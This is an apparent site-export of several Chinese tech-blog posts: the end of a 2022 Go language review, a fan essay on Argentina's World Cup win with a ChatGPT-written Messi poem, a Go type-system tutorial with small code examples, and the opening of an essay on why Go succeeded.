method），即只能用普通的方法（method）操作类型实例（比如：getIndex(k)），而不能将操作符视为方法并自定义其实现，比如一个容器类型的下标访问 c[k]； 不支持变长的类型参数（type parameters）； … …。 这些特性如今不支持，后续大概率也不会支持。所以小伙伴们，尤其是来自Java、C++等语言阵营的小伙伴，在进入Go泛型语法学习之前，你一定要先了解Go团队的这些设计决策。\n此外，目前的Go泛型实现和最后一版的泛型设计方案相比还有差距，依旧不是完全版，还有一些特性没有加入，还有问题亟待解决。\n就目前笔者观察来看，Go泛型还处于早期阶段，远非成熟。Go module构建模式从go 1.11版本加入到go 1.16成为默认并逐渐成熟还花了3年多时间呢，何况是Go泛型。这样来看，初步预测Go泛型要到2025年才会成熟，而成熟的标志无非如下几个：\n泛型语法特性确定以及稳定下来； 语法问题基本都解决； Go标准库开始广泛使用泛型； Go泛型的运行时性能问题得到基本解决。 目前Go团队对泛型的应用依旧保持谨慎，并在循序渐进地推进泛型在Go团队与Go社区的应用，最新的消息是Go团队已经提出proposal，计划在Go 1.21版本中将用泛型实现的maps包和slices包加入Go标准库，这两个包原本计划在Go 1.18版本加入，但因Rob Pike的建议先放到了golang.org/x/exp下面待定。\n2. 无趣(boring)很好 和其他主流编程语言如C++、Rust等在新版本中不断有新语言特性刺激程序员的神经，让大家阶段性产生兴奋感(exciting)不同，除了早期版本(比如Go 1.1和Go 1.2)以及里程碑的Go 1.5版本的完成自举和大幅降低GC延迟、Go 1.11版本的go module构建模式、Go 1.18版本的泛型落地之外，大部分版本的发布都很难让Gopher们十分兴奋，甚至业界都称**“Go is boring(Go很无趣)”**。\n在今年的线下GopherCon大会上，Go核心团队技术Leader Russ Cox发表名为“Compatibility: How Go Programs Keep Working”的主题演讲，在这个演讲中，Russ Cox借用了Go is boring的这一说法，并称That is good!\n国外新冠管控放开早，经过几波疫情后，与病毒共存了，于是2022年的GopherCon大会又重新恢复线下举办。\nRuss Cox的原话是：“boring is good. boring is stable. boring means to be able to focus on your work and not ours… We’ll keep doing everything we can to keep go boring for all of you”。\n这几句英文不难，相信大家都能看懂。无趣的Go意味着稳定，意味着大家将注意力都集中在自己的工作上而不是Go核心团队身上(去关注新特性)。Go语言不会像其他编程语言那样堆砌新功能特性。\nRuss Cox的这一观点代表了Go核心团队，也代表着Go演进未来演进的主基调。同时，Russ明确给出结论：不会有Go2了，Go 1.xy会一直持续下去。Russ甚至提出：兼容性才是Go最重要的feature：\n并且Russ Cox在Go项目的discussion中也给出保持Go兼容性的backward compatibility、forward compatibility的扩展方案与一个实例。\n关于“Go is boring”，Russ没有进一步展开说，记得之前译过一篇名为《Go语言很无聊…其实它妙不可言！》的文章，大家可以看看那篇文章进一步体会一下“Go is boring”的含义。\n3. “稳定”是主旋律 Go的稳定不仅体现在Go语法特性的演化上，Go语言在各大语言排行榜上的排名也进入了相对稳定区，以TIOBE index为例，下面是2022年12月份的排名截图：\n我查了一下《2021年Go语言盘点：厉兵秣马强技能，蓄势待发新征程》一文中2022年1月份Go的排名为13名，上图中2021年12月份是19名的数据应该是错误的，相对2021年12月份，Go实际排名上升1位。\n我们看到2021年Go从14升到13，今年又从13升到12。按照TIOBE官方编辑说法，在新兴编程语言中，Go是唯一一个可能在未来冲入前十的后端编程语言。\nGo语言在实际应用中的表现与上述排名的变化也十分契合，总体来说就是十分稳定，国内外都波澜不惊，国内大厂该用Go的也都用了，腾讯、字节依旧是这方面的领头羊，先后开源了不少Go实现的项目，最受瞩目的应该是字节将内部的Go框架逐一开源了，包括：netpoll、kitex(rpc框架)、hertz(http框架)等。\n为了更好的帮助大家回顾这一年来Go的稳定演化，这里简单整理了2022年Go大事件列表，供大家参考：\n2022年3月，Go 1.18版本正式发布 Go社区等待了多年的泛型语法特性终于加入Go中。\n2022年4月，Go官方发布了2021官方Go用户调查结果 从调查结果中可以看到，Gopher对Go的满意度依然高达92%；81%的受访者对Go项目的长期方向充满信心。\n2022年5月，ACM期刊发表了《Go编程语言与环境》一文 这篇Go语言的综述文章由Russ Cox，Robert Griesemer，Rob Pike，Ian Lance Taylor和Ken Thompson联合撰写，是Go核心团队对10多年来Go演化发展的复盘，深入分析了那些对Go的成功最具决定性的设计哲学与决策，是Go诞生十多年来最重要的一篇文章。\n2022年6月，uber工程博客发布《Go语言数据竞争检测与数据竞争模式》 该文介绍了ThreadSanitizer v2的工作原理，并总结了7类数据竞争模式。\n2022年8月，Go 1.19版本正式发布 相对于Go 1.18版本而言，Go 1.19是一个“小”版本，它主要针对Go 1.18版本中泛型实现的问题做了修改和优化，引入了Soft memory limit，更新了《Go内存模型》文档。\n2022年9月，Go官方回顾了从2018年到2022年，Go runtime的主要改进点 包括sync.Pool的优化、defer性能提升、基于系统信号的抢占式调度(go 1.14)、调度器性能提升、支持基于寄存器的调用规约、soft memory limit等。\n2022年9月，Go官方发布govulncheck工具 软件供应链安全问题愈发受到各界关注。Go安全团队发布Go官方安全漏洞管理的工具和方案: govulncheck。govulncheck是Go安全漏洞数据库(Go vulnerability database)的一个前端，它通过Go官方维护的vuln仓库下面的vulncheck包对你仓库中的Go源码或编译 后的Go应用可执行二进制文件进行扫描，形成源码的调用图(callgraph)和调用栈(callstack)。\n2022年10月，GopherCon大会在芝加哥线下举行 Russ Cox发表《Compatibility: How Go Programs Keep Working》主题演讲，确定了未来Go语言演进的主基调。\n2022年11月，Go开源13岁生日 Go官方回顾了2022年Go团队的工作与成果，并简单说明了在新一年的工作，包括继续努力使Go成为用于大规模软件工程的最好的环境。计划特别关注供应链安全，提高兼容性和结构化日志记录(slog)，当然还会有很多其他改进，包括profile-guided optimization等。\n4. Go语言2023年展望 目前Go语言的演化与发展与我在2020年Go盘点中的预测基本一致。我现在依然坚持我的判断，即我在《Go语言第一课》专栏中所说的那样：\n绝大多数主流编程语言将在其诞生后的第15至第20年间大步前进。按照这个编程语言的一般规律，已经迈过开源第13个年头的Go，很可能将进入自己的黄金5-10年。2022年泛型落地就是Go语言进入黄金5-10年的起点，待2025年泛型成熟后，Go将取得更快的发展速度。\n前途是美好的，但道路的曲折坎坷的。目前Go更多应用于基础设施、中间件领域和基础微服务领域，在企业级业务系统方面，类似spring这样的“全家桶”框架的缺乏和无法达成一致，让开发者在开发复杂业务系统时依旧首选Java。期待Go在这方面能所有进展。\n同时，Go演进道路上还存在另外一个风险，在我的《Go为什么能成功》一文中，我曾经提到过：“Go成也Google，败也Google”。Go团队目前的治理体系太过于依赖google，这是一门双刃剑。当google发展较好时，Go语言将从中受益。但当google开始走下坡路时，Go是否还能像如今这样风光呢？让我么拭目以待吧！\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/12/29/the-2022-review-of-go-programming-language/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-2022-review-of-go-programming-language-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/12/29/the-2022-review-of-go-programming-language\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/12/29/the-2022-review-of-go-programming-language\"\u003ehttps://tonybai.com/2022/12/29/the-2022-review-of-go-programming-language\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e早早就计划好在年前写一个Go语言年度盘点，就像\u003ca href=\"https://tonybai.com/2020/12/30/the-2020-review-of-go-programming-language\"\u003e2020年\u003c/a\u003e和\u003ca href=\"https://tonybai.com/2022/01/16/the-2021-review-of-go-programming-language\"\u003e2021年\u003c/a\u003e那样。但恰逢国内疫情管控放开，一波阳了之后身体十分容易疲劳，再加上工作上的事情挺多，这篇盘点也就迟迟没能下笔。\u003c/p\u003e\n\u003cp\u003e今年的盘点思路将围绕三个关键字来展开：\u003cstrong\u003e泛型、无趣(boring)和稳定\u003c/strong\u003e。下面我们逐一来看看。\u003c/p\u003e","title":"2022年Go语言盘点：泛型落地，无趣很好，稳定为王"},{"content":"\n本文永久链接 – https://tonybai.com/2022/12/19/argentina-wins-qatar-world-cup\n都说球迷“迷信”，事实上呢，我就是一个“迷信”的阿根廷球迷。我发现：只要我看阿根廷队正式比赛的直播，阿根廷就会输球(或至少是个平局)，即便是面对沙特这样的世界杯弱旅也会输掉。\n本届卡塔尔世界杯的阿根廷比赛，我忍不住看了对阵沙特这一场:(。\n这“病”始于2014年巴西世界杯的那场决赛，在那场比赛中，阿根廷加时赛0:1德国，与大力神杯擦肩而过。\n而站在电视前120分钟看完比赛的我十分失望，十分沮丧！打那之后，凡是阿根廷生死攸关的正式比赛，我基本都是不看直播的。就这样，阿根廷居然拿下了去年的美洲杯。\n本届卡塔尔世界杯首战失利后，我也选择了不再直播收看阿根廷的后续比赛，就这样在进决赛前的5场比赛中，阿根廷居然全部过关，并且越踢越好！我无法解释这一切，为了支持阿根廷，今天这场决赛，我只能继续选择睡大觉！\n这一觉不长，但睡得很香甜！凌晨3点左右，自然苏醒。是时候刷twitter看看决赛的比赛结果了！\n打开twitter后，我就被右侧trending中的“Messi FC”和“GREATEST OF ALL TIME”刺目了！有了这两个词条，阿根廷赢下比赛基本没跑了！心中窃喜，但依旧平静。继续打开twitter上FIFA WorldCup直播主页，梅西高举大力神杯的本文封面图就映入眼帘！我知道这一切都不是梦！阿根廷在36年后，又在一个新的英雄的带领下赢得了世界杯，阿根廷蓝白队服上将再多出一颗金光闪闪的小星星。\n这一夜，阿根廷不再哭泣！这一夜，阿根廷，不，是全世界，将拥有一位新的球王！他就是梅西！\n自从1986年上一代球王马拉多纳几乎以一己之力带领阿根廷队夺得大力神杯后，阿根廷队的世界杯夺冠模式似乎就被加上了额外的要求：carry。但现代足球的发展越来越欧化，越来越讲究整体性，2010的西班牙、2014的德国、2018的法国，这些球队都是阵容搭配合理均匀，锋线中场后防没短板的队伍，他们的夺冠也不是哪个超级巨星一人carry的结果。由此可见，要带领阿根廷夺冠会有多难，会背负上多大的精神压力！\n从本届卡塔尔世界杯的阿根廷阵容来看，只有少数像梅西这样的“大爷”级球员效力于欧洲豪门球队，并且打主力的就少之又少了。年轻一代中，像小蜘蛛阿尔瓦雷斯虽然效力曼城，但也不是主力！总体来说，阿根廷的球员配置在众多传统强队中属于二档。因此，阿根廷只能依赖梅西，也只能是梅西。\n梅西能做到么？这也是世界杯开赛前全世界阿根廷球迷心中的共同问题！\n第一场面对沙特，阿根廷在梅西先进一球的情况下，被沙特连扳两球，首战失利！赛后梅西对全世界阿根廷球迷说：请相信我们！\n梅西说到做到！第二场与墨西哥的生死战，在煎熬了64分钟后，梅西站了出来，在禁区外接到迪玛利亚传球，稍做调整后左脚打出“贴地斩”，皮球蹿入死角，阿根廷1:0取得领先！相信此时此刻，无论是阿根廷球迷，还是场上的球员，身上的压力瞬间得以缓解！最终阿根廷2:0拿下墨西哥，从死亡线上活了过来！\n第三场同样是生死战，只有胜才能确保出线，只有胜才能避开强大的法国队！梅西虽然罚丢了自己创造的点球，但愤怒的梅西还是带着阿根廷2:0击败波兰，顺利以小组头名晋级16强。\n阿根廷淘汰赛的首个对手是澳洲袋鼠军团澳大利亚队，之前澳大利亚在小组赛中挤掉欧洲劲旅丹麦队挺进16强，实力不容小觑。并且梅西在之前的四届世界杯中还没有淘汰赛进球，这让阿迷心里都有些紧张！事实证明，这一切都是多余的，脸就是用来打的！比赛进入35分钟，阿根廷队通过小范围的配合让梅西有了机会，面对澳大利亚队4名防守队员的围追堵截，梅西冷静推射，成功射门，让阿根廷队取得领先。之后，阿尔瓦雷斯的进球几乎锁定胜局，虽然最后澳大利亚靠远射取得一个意外的进球，但依然无法改写被淘汰的命运！\n第五场比赛，也是8进4的淘汰赛，阿根廷的对手是宿敌橙衣军团荷兰队。2014年阿根廷正是靠点球击败荷兰晋级世界杯决赛的，这次在8进4相遇，不免是一场火星撞地球的比赛。不过这场比赛阿根廷前70多分钟反倒是顺风顺水，第35分钟梅西送出本届世界杯最佳助攻之一，帮助右后卫莫利纳进球，阿根廷1比0领先。第73分钟，阿根廷获得点球，梅西主罚命中，阿根廷2比0领先。但就在大家以为90分钟结束战斗的时候，荷兰新换上场的大个子韦霍斯特连入两球，将阿根廷拖入加时，最终两队通过点球决胜负，大马丁站了出来，两扑点球帮助阿根廷有惊无险的晋级四强。\n从第六场比赛开始，阿根廷对就进入了复仇之旅。先是半决赛对阵克罗地亚。在2018年世界杯，克罗地亚小组赛3:0赢下阿根廷，也直接导致阿根廷小组出现后就直面强大的法国队。本届世界杯，克罗地亚凭借着其超强的韧性通过点球淘汰了强大的巴西。阿迷们都以为这场比赛将打的十分胶着和艰苦，但实际过程却是阿根廷顺风顺水，第32分钟，阿根廷获得点球机会，面对克罗地亚的神级门将，梅西主罚点球打右上角命中，1:0领先。之后，阿尔瓦雷斯的跌跌撞撞的长途奔袭为阿根廷又入一球。本场比赛最精彩部分莫过于梅西第69分钟上演的个人盘带秀，沿右路边线处带球突入禁区，助攻阿尔瓦雷斯轻松推射破门，这一助攻也被称为本届世界杯的最佳助攻！\n今晨的决赛对手正式上届世界杯淘汰阿根廷的法国队。此时此刻我还没有看比赛回放，但在常规时间和加时，梅老板两次帮助阿根廷取得领先，虽然姆巴佩的进球让两队进入点球大战，但阿根廷在梅老板的带领下还是笑到了最后，捧起了大力神杯！老板也荣膺决赛最佳和世界杯金球奖，梅西也成为了世界杯金球奖设立以来，首位两夺世界杯金球(2014/2022)的球员。\n梅西做到了！像马拉多纳那样带着非顶级球员，拿下世界杯。七场比赛，5次比赛最佳！7粒进球！这不是carry还什么是carry! 还有人做了梅西与当年马拉多纳的评分对比：\n我们看到，即便梅西没有上演单骑闯关的绝妙进球，梅西的评分总体上与马拉多纳不分伯仲，并且平均状态要更稳定。\n从2021的美洲杯，到2022的世界杯，即便是阿根廷的骨灰级球迷也不敢想象啊，这绝对是上帝写的剧本，马拉多纳显灵！\n这届世界杯给我最大的感觉就是老板真的更成熟，更沉稳，心态更平静了。即便是半决赛，老板依旧云淡风轻，闲庭信步。队友能做的，就让队友去做，而且鼓励队友多做。没有了2014年那种让人透不过气的承压感，也不再选择单干。心态良好的梅老板才是最可怕的。\n本届世界杯赛前，国际的主流结论就是梅西就是第三代球王，即便阿根廷不捧杯也是如此。而今晨阿根廷圆梦世界杯更像是梅西这个第三代球王的正式加冕礼。\n最后，我用半决赛战胜克罗地亚之后，阿根廷国家电视台的一名记者找到梅西说出的下面这段话作为结尾：\n“我想告诉你，无论结果如何，有一些东西，是没有任何人能从你这拿走的，你和阿根廷之间真正形成了共鸣，这种共鸣会感动每一个阿根廷人。” “没有任何一个孩子不想得到你的球衣，不管这球衣是真是假，还是自己做出来的，你在每个人的生活中都留下了自己的烙印，对我而言，这比赢得世界杯更加重要。” “没有人能把这一切从你身上拿走，这是我个人对你表达的感谢，感谢你给太多人带来了幸福。” 是时候回看今晨的世界杯决赛了！\n附ChatGPT写的一首赞美梅西的中文歌曲：\n“梅西，你是我心中的足球之王，\n在球场上，你是无人能比的巨星，\n你的领舞脚步，那么轻盈，\n你的盘带和射门，那么精准，\n你是阿根廷的骄傲，\n也是全世界球迷的偶像。\n你的技术，令人惊叹，\n你的激情，令人难忘，\n梅西，我们为你歌唱，\n感谢你给我们带来的快乐，\n让我们一起为你喝彩，\n阿根廷的足球之王，\n永远伟大，永远不朽！”\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/12/19/argentina-wins-qatar-world-cup/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/qatar-worldcup-2022/argentina-wins-qatar-world-cup-1.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/12/19/argentina-wins-qatar-world-cup\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/12/19/argentina-wins-qatar-world-cup\"\u003ehttps://tonybai.com/2022/12/19/argentina-wins-qatar-world-cup\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e都说球迷“迷信”，事实上呢，我就是一个“迷信”的阿根廷球迷。我发现：\u003cstrong\u003e只要我看阿根廷队正式比赛的直播，阿根廷就会输球(或至少是个平局)，即便是面对沙特这样的世界杯弱旅也会输掉\u003c/strong\u003e。\u003c/p\u003e","title":"阿根廷圆梦卡塔尔世界杯，梅西正式加冕第三代球王"},{"content":"\n本文永久链接 – https://tonybai.com/2022/12/18/go-type-system\nGo是一门强类型的静态编程语言。使用Go编程，我们的每一行代码几乎都离不开类型。因此，深入学习Go，我们首先要对Go的类型系统(type system)有一个全面和深入的认知。Go类型系统可以给予我们一个全局整体的视角，以帮助我们更好地学习和理解Go语言中那些具体的与类型相关的内容。\n一. 什么是类型系统 作为拥有一定Go编程经验的Gopher来说，大家对Go语言中的类型是有一定了解的，比如：Go内置了原生整型类型、浮点类型、复数类型、字符串类型、函数类型，提供了数组、切片、map、struct、channel等复合类型以及代表行为抽象的接口类型。通过Go提供的type关键字，我们还可以自定义类型等等。\n那么大家是否想过这样的问题：为什么会有类型？类型可以带来哪些好处呢？回顾编程语言的发展史(见下图)，我们发现：类型是高级语言有别于机器语言与低级语言的一种重要的抽象。\n从机器的视角来看，无论什么类型数据都是0101的二进制数据，但程序员直接用机器语言编码难度非常大且效率极其低下；汇编语言将层次提升到了面向多字节数据的编码，汇编指令的操作数都是固定长度字节的，比如：movb操作的是一个字节，movl操作的是四个字节。汇编指令并不关心真实存储的是什么数据，只是在各个地址之间搬移特定长度的数据。显然汇编的抽象层次依旧不高，直接用汇编写程序依然有很大难度以及较为低效。\n高级语言之所以高级，就是因为它建立了类型这一重要抽象，类型抽象为开发者屏蔽了机器层面数据的复杂表示。类型下面的复杂的字节和bit操作由高级语言的编译器和运行时协助完成，开发人员只需面向类型进行编码即可，也就是说类型成为了开发者与编译器之间的“操作界面”。\n面向类型编程，开发者就要了解类型的能力、其所代表的抽象的含义以及遵循类型的使用规则/约束。类型决定了你可以在该类型实例中存储的值的范围；类型决定了你可以对该类型进行的操作；类型决定了该类型的变量需要的存储空间；类型决定了与其他类型间建立连接的方法：组合、“继承”还是接口实现等。\n那么类型的这些能力、规则与约束是谁赋予的呢？没错，正是编程语言的类型系统！\n类型系统是高级语言的核心，它存在于语言规范中，向开发者明确了类型的能力、使用规则与约束；它存在于编译器中，保证开发者对类型的正确合规使用；它也存在于语言运行时里，为类型提供如多态这样的动态能力。\n可以说，高级编程语言用类型系统赋能类型并管理类型。不过，不同语言的类型系统的设计与实现是有较大差别的，那么Go语言的类型系统又有哪些与众不同之处呢？我们接下来就来重点看看Go的类型系统。\n二. Go的类型系统 下面我们从类型定义、类型推导、类型检查、类型连接等多个方面说明一下Go类型系统具备的能力与不足。\n1. 类型定义 大家知道Go支持几乎所有类型，下面是Go spec中的类型分类的列表截图：\n同时，Go还支持使用type关键字定义的自定义类型以及类型别名(type alias)：\ntype CustomType int // 底层类型为原生类型int的自定义类型CustomType type S struct { a int b string } // 基于struct的自定义类型S type IntAlias = int // int的类型别名IntAlias 注：自定义类型与其底层类型(underlying type)是两个完全不同的类型，而类型别名并未引入新类型，与原类型等价。\n不过有两种在其他语言中常见的类型，Go类型系统没有给予支持，一种是union联合类型，在这种类型中，其所有字段共享同一个内存空间：\n// C代码 // 定义一个名为num的union类型 // 其三个成员m, ch, f共享同一个内存空间 // C编译器会以最大的字段的size为num类型变量分配内存空间 union num { int m; char ch; double f; }; union num a, b, c; // 声明三个union类型变量 另外一种是enum枚举类型，不过enum枚举类型可一定程度上用const(可选加iota)来模拟：\n// C语法 enum Weekday { SUNDAY, MONDAY, TUESDAY, WEDNESDAY, THURSDAY, FRIDAY, SATURDAY }; // Go模拟实现Weekday type Weekday int const ( Sunday Weekday = iota Monday Tuesday Wednesday Thursday Friday Saturday ) Go从1.18版本开始支持泛型，这让Go类型系统具备定义带有类型参数(type parameters)的类型以及函数的能力。\n2. 类型推导 Go类型系统支持自动类型推导能力，编译器可以推断出变量或函数的类型，而不需要我们明确指定：\nvar s = \u0026quot;hello\u0026quot; // s是string类型 a := 128 // a是int类型 f := 4.3567 // f是float64类型 除了支持普通类型推导，Go还支持泛型的自动类型实参推导，下面是一个来自go spec的例子：\nfunc scale[Number ~int64|~float64|~complex128](v []Number, s Number) []Number var vector []float64 scaledVector := scale(vector, 42) 例子中，通过scale调用时传入的实参类型，编译器可以自动推导出scale的类型参数Number的实参为float64。更多关于Go泛型的语法细节，可以参考《Go语言第一课》专栏的泛型篇。\n3. 类型检查 Go是一门强类型静态编程语言，意味着每个变量在使用之前都必须声明其类型。有了类型后，我们就可以按照Go类型系统规定的针对这个类型有效操作对其进行操作。\nGo编译器以及运行时会分别在编译期间和运行期间对变量类型作检查，目的是确保操作只用于正确的类型，并且类型系统的规则被程序所遵守，保证类型安全等。\nGo是强类型语言，并且没有隐式类型转换，所有类型转换都要以明确意图的显式类型转换来实施，Go编译器会在编译期间对类型转换进行检查，只有底层类型兼容的两个类型才可以实施显式转型：\ntype T1 int type T2 struct{} var i int = 5 var t T1 var s T2 t = i // 错误，不是同一类型 t = T1(i) // ok，底层类型兼容 s = T2(t) // 错误，底层类型不兼容 除了编译期间的静态检查之外，Go类型系统还支持运行时动态类型检查，比如：检查传给接口变量的类型实例是否实现了该接口；在运行时对数组、切片类型的下标边界进行检查，确保下标不越界，保证内存安全等。\n不过Go也提供了绕过类型系统检查的手段，比如unsafe.Pointer以及反射等。\n4. 类型连接 Go并非经典OO语言，它的类型虽然可以拥有自己的方法(method)，但Go却没有提供经典OO中的复杂的继承层次结构，没有父类，没有子类，更没有供类型初始化的构造函数。在Go的类型系统中，类型之间建立连接的方式只有组合，通过类型嵌入(type embedding)，我们可以实现各类组合，可以嵌入非接口类型，亦可以嵌入接口来定义新组合后的类型。\n通过类型组合，我们可以将各种类型连接在一起，共同对外提供聚合后的行为，包括多态能力。Go中标准的多态能力由interface类型实现，方法在运行时被分派，这取决于传给接口类型变量的具体类型。比如下面例子中AnimalQuackInForest中的Quack会依据传入的具体类型实例而分派，先后分派给Duck.Quack、Dog.Quack和Bird.Quack：\ntype QuackableAnimal interface { Quack() } type Duck struct{} func (Duck) Quack() { println(\u0026quot;duck quack!\u0026quot;) } type Dog struct{} func (Dog) Quack() { println(\u0026quot;dog quack!\u0026quot;) } type Bird struct{} func (Bird) Quack() { println(\u0026quot;bird quack!\u0026quot;) } func AnimalQuackInForest(a QuackableAnimal) { a.Quack() } func main() { animals := []QuackableAnimal{new(Duck), new(Dog), new(Bird)} for _, animal := range animals { AnimalQuackInForest(animal) } } 注：类型与接口之间的实现关系是隐式的，类型无需使用类implements关键字显式告知要实现的interface类型。\nGo中的函数是一等公民，函数类型也可展现出一定的运行时多态能力，函数类型实例的最终执行结果取决于运行时传入的函数对象值。\n三. 小结 Go提供了强大而又有趣的类型系统，不过Go没有提供enum、union类型，也不支持运算符重载(operator overloading)、函数重载、结构化错误处理以及可选/默认函数参数等。这与Go的设计者做出的保持Go简单的决策不无关系。同时类型系统在保证Go这门的语言的安全性方面也是功不可没。\n如果你认真对待Go编程，你应该投入时间，了解它的类型系统和它的特殊性，这将是非常值得你花时间的。\n四. 参考资料 Type Systems in Software Explained With Examples – https://thevaluable.dev/type-system-software-explained-example/ The Go type system for newcomers – https://rakyll.org/typesystem/ Deep Dive Into the Go Type System – https://code.tutsplus.com/tutorials/deep-dive-into-the-go-type-system–cms-29065 Understanding Golang Type System – https://thenewstack.io/understanding-golang-type-system/ A Closer Look at Golang From an Architect’s Perspective – https://thenewstack.io/a-closer-look-at-golang-from-an-architects-perspective/ https://go101.org/article/type-system-overview.html https://baziotis.cs.illinois.edu/compilers/the-weird-type-system-of-golang.html https://blog.ankuranand.com/2018/11/29/a-closer-look-at-go-golang-type-system/ 《Type Systems for Programming Languages》 – https://ropas.snu.ac.kr/~kwang/520/pierce_book.pdf 《Programming with Types》 – https://book.douban.com/subject/35325133/ Type Systems in Programming Languages – https://www.tektutorialshub.com/programming/type-systems-in-programming-languages/ 《Category Theory for Programmers》 – https://book.douban.com/subject/30357114/ Type system(维基百科) – https://en.wikipedia.org/wiki/Type_system 类型系统的比较 – https://en.wikipedia.org/wiki/Comparison_of_type_systems “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/12/18/go-type-system/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/advanced-go/go-type-system-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/12/18/go-type-system\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/12/18/go-type-system\"\u003ehttps://tonybai.com/2022/12/18/go-type-system\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eGo是一门强类型的静态编程语言。使用Go编程，我们的每一行代码几乎都离不开\u003cstrong\u003e类型\u003c/strong\u003e。因此，深入学习Go，我们首先要对Go的类型系统(type system)有一个全面和深入的认知。Go类型系统可以给予我们一个全局整体的视角，以帮助我们更好地学习和理解Go语言中那些具体的与类型相关的内容。\u003c/p\u003e","title":"Go类型系统：有何与众不同"},{"content":"本文永久链接 – https://tonybai.com/2022/12/07/why-go-succeed\n大家在入门Go语言时，多埋头于Go语法，忙于练手或快速完成公司的项目，无暇思考。\n但当大家到了要进阶，要冲刺高级阶段的时候，我建议你不能再稀里糊涂了。既然入了Go这个坑，在进入高级阶段前，我们最好在门口的“影壁墙”前驻留一下。\n仔细思考一下我们投入这么多精力研究的Go为什么能成功，后续还能否持续成功下去。你要有自己的基本的判断，自我暗示也好，坚定信心也罢，我们要为继续攀登Go高峰进行蓄能。\n一. 头脑风暴一下Go成功的因素 相信无论针对哪个gopher群体做头脑风暴，让大家列举Go成功的因素，大家的主流答案也无外乎下图中这些：\n图中的各个因素与Go的成功都不无干系，但是究竟哪个或哪几个是决定性的呢？\n二. Go成功的根本因素 很显然，这个问题是没有标准答案，是见仁见智的。这里我列举一下我的观点，供大家参考。\n直接上结论，我认为Go成功的根本因素就一个：Google。\n为什么这么说呢？下面我们展开来看(见下图)！\n我将Go社区比做一支军队，而Go就是Go社区的武器，与其他编程语言搏杀，占地盘(fans)。下面我们就来解构一下这支军队的构成以及为什么这支军队目前有诸多成功案例！\n1. Google为Go社区提供了统帅与武器 众所周知，2007年Google的三名员工Robert Griesemer、Rob Pike和Ken Thompson(retire很早，精神上领袖，给予Go名誉上的背书)一起发明了Go语言，2009年Go开源后，Go社区逐渐形成。统帅是一支军队的灵魂，他们做出了影响Go和Go社区的最初的也是最重要的决策和这背后的Go设计哲学！\na) 设计决策 在2022年，Go团队在美国计算机学会通讯(Communications of the ACM)期刊上发表paper：《Go编程语言与环境》，对当年做出的诸多决策做了细致说明，这里对其中两个最重要的决策做简单说明：\nGo旨在成为一个编程环境 